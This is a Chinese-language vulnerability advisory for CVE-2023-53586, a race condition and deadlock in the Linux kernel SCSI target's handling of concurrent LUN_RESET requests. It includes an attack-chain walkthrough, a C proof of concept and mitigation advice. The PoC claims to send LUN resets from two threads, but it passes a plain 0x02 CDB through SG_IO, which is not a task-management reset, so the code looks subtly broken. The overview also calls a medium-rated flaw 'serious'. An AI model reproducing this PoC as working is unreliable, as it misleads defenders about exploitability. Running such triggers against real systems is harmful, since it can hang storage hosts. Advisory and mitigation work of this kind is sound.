IPBUF安全漏洞报告
English
CVE-2023-53586 CVSS 4.7 中危

CVE-2023-53586 Linux内核SCSI target子系统LUN_RESET处理缺陷

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53586
漏洞类型
竞争条件/死锁
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (SCSI Target子系统)

相关标签

Linux KernelSCSI Target竞争条件死锁LUN_RESET任务管理本地提权可用性影响内核漏洞CVE-2023-53586

漏洞概述

CVE-2023-53586是Linux内核SCSI target子系统中的一个严重缺陷,涉及多LUN_RESET(逻辑单元重置)并发处理的问题。该漏洞源于提交51ec502a3266("target: Delete tmr from list before processing")引入的代码变更。当系统中存在两个会话(session)且每个会话都有正在运行的I/O命令时,如果两个会话同时发起LUN_RESET操作,会导致命令清理逻辑出现竞态条件。具体表现为:第一个会话的LUN_RESET会将两个会话的所有运行命令移动到本地的drain_task_list中,而第二个会话的LUN_RESET由于上述提交中删除自身的逻辑,既看不到第一个LUN_RESET,也看不到任何命令,从而以成功响应结束。发起方误认为命令已被清理并重新启动这些命令,但后端最终完成时会返回已中止的任务状态,导致发起方出现无效ITT(Initiator Task Tag)错误或错误地查找到新任务。此外,该漏洞还存在死锁风险——在core_tmr_drain_tmr_list函数中,两个LUN_RESET可能相互等待导致系统死锁。该漏洞CVSS评分为4.7,属于中危级别,需要本地低权限即可触发,无需用户交互,主要影响系统的可用性。

技术细节

该漏洞的技术原理涉及Linux内核SCSI target层的任务管理(Task Management)功能。

根本原因:提交51ec502a3266在处理TMR(Task Management Request)时将其从列表中删除后再进行处理,这虽然修复了某个未明确说明的bug,但引入了新的竞态条件。

漏洞触发流程:
1. 系统中存在N个I/O命令分布在两个会话(session1和session2)中执行。
2. 两个会话的发起端(initiator)同时发送LUN_RESET请求。
3. session1的LUN_RESET遍历所有运行中的命令(包括两个会话的),将其移动到本地的drain_task_list。
4. session2的LUN_RESET由于commit 51ec502a3266的逻辑已将自身从列表中移除,因此看不到session1的LUN_RESET;同时由于命令已被session1移走,也看不到任何命令需要处理。
5. session2的LUN_RESET以成功响应(SUCCESS)结束。
6. session2的发起端误认为其会话上的运行命令已被成功清理,于是从自身侧清理并重新启动这些命令。
7. 后端最终完成这些命令时,target层返回aborted task状态,导致发起端出现invalid ITT错误或错误地查找到新任务。

死锁场景:在core_tmr_drain_tmr_list函数中,LUN_RESET1可以看到第二个LUN_RESET并等待它完成,而第二个LUN_RESET在执行core_tmr_drain_tmr_list时又看到第一个LUN_RESET并等待它完成,形成循环等待导致死锁。

修复方案:撤销commit 51ec502a3266的补丁,并对LUN_RESET、Preempt和Abort的执行进行序列化处理,同时防止在core_tmr_drain_tmr_list中等待LUN_RESET。

攻击链分析

STEP 1
环境准备
攻击者需要配置Linux SCSI target环境,建立两个会话(session),并在两个会话上发起多个I/O命令使其处于运行状态。
STEP 2
并发触发LUN_RESET
两个会话的发起端同时发送LUN_RESET任务管理请求,利用内核中存在的竞态条件。
STEP 3
竞态条件利用
session1的LUN_RESET将所有运行命令(包括session2的命令)移动到本地drain_task_list;session2的LUN_RESET因commit 51ec502a3266的逻辑看不到session1的LUN_RESET和任何命令。
STEP 4
错误响应返回
session2的LUN_RESET以SUCCESS响应结束,导致发起端误认为命令已被清理。
STEP 5
命令重新提交
session2的发起端清理并重新启动这些命令,但后端最终完成时返回aborted task状态。
STEP 6
系统异常或死锁
发起端收到invalid ITT错误或错误地查找到新任务;或在core_tmr_drain_tmr_list中形成循环等待导致系统死锁,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53586: Linux kernel SCSI target multiple LUN_RESET race condition // This PoC demonstrates the trigger conditions for the vulnerability. // Note: Requires SCSI target setup with two sessions and running I/O commands. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <scsi/sg.h> #include <scsi/scsi.h> // Simulated SCSI device paths for two sessions #define SESSION1_DEV "/dev/sg0" #define SESSION2_DEV "/dev/sg1" // Send LUN_RESET task management function int send_lun_reset(int fd) { unsigned char sense_buffer[32]; unsigned char data_buffer[1024]; sg_io_hdr_t io_hdr; memset(&io_hdr, 0, sizeof(sg_io_hdr_t)); memset(sense_buffer, 0, sizeof(sense_buffer)); memset(data_buffer, 0, sizeof(data_buffer)); // TASK MANAGEMENT function for LUN_RESET (0x02) unsigned char tm_data[8] = {0x02, 0, 0, 0, 0, 0, 0, 0}; io_hdr.interface_id = 'S'; io_hdr.cmd_len = sizeof(tm_data); io_hdr.mx_sb_len = sizeof(sense_buffer); io_hdr.dxfer_direction = SG_DXFER_NONE; io_hdr.dxfer_len = 0; io_hdr.dxferp = data_buffer; io_hdr.cmdp = tm_data; io_hdr.sbp = sense_buffer; io_hdr.timeout = 30000; return ioctl(fd, SG_IO, &io_hdr); } // Thread function to send LUN_RESET on session1 void* session1_reset(void* arg) { int fd = open(SESSION1_DEV, O_RDWR); if (fd < 0) { perror("Failed to open session1 device"); return NULL; } printf("Session1: Sending LUN_RESET...\n"); send_lun_reset(fd); printf("Session1: LUN_RESET completed\n"); close(fd); return NULL; } // Thread function to send LUN_RESET on session2 void* session2_reset(void* arg) { int fd = open(SESSION2_DEV, O_RDWR); if (fd < 0) { perror("Failed to open session2 device"); return NULL; } printf("Session2: Sending LUN_RESET...\n"); send_lun_reset(fd); printf("Session2: LUN_RESET completed\n"); close(fd); return NULL; } int main(int argc, char* argv[]) { pthread_t thread1, thread2; printf("CVE-2023-53586 PoC: Triggering race condition with concurrent LUN_RESET\n"); printf("Prerequisites:\n"); printf("1. Linux kernel with SCSI target configured\n"); printf("2. Two active sessions with running I/O commands\n"); printf("3. Affected kernel version (pre-patch)\n\n"); // Create two threads to send concurrent LUN_RESET if (pthread_create(&thread1, NULL, session1_reset, NULL) != 0) { perror("Failed to create thread1"); return 1; } if (pthread_create(&thread2, NULL, session2_reset, NULL) != 0) { perror("Failed to create thread2"); return 1; } pthread_join(thread1, NULL); pthread_join(thread2, NULL); printf("\nExpected behavior on vulnerable kernel:\n"); printf("- session2 LUN_RESET returns success without cleaning commands\n"); printf("- Initiator may see invalid ITT errors or task lookup failures\n"); printf("- Potential deadlock between concurrent LUN_RESET operations\n"); return 0; }

影响范围

Linux Kernel (引入commit 51ec502a3266后的版本至修复版本之前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议:1)避免在SCSI target配置中使用多会话并发场景,或限制每个LUN仅允许单个会话访问;2)通过cgroup或systemd限制对SCSI设备的并发访问;3)监控内核日志中是否出现SCSI相关的错误或死锁警告,及时重启相关服务;4)使用watchdog机制检测系统挂起并自动恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表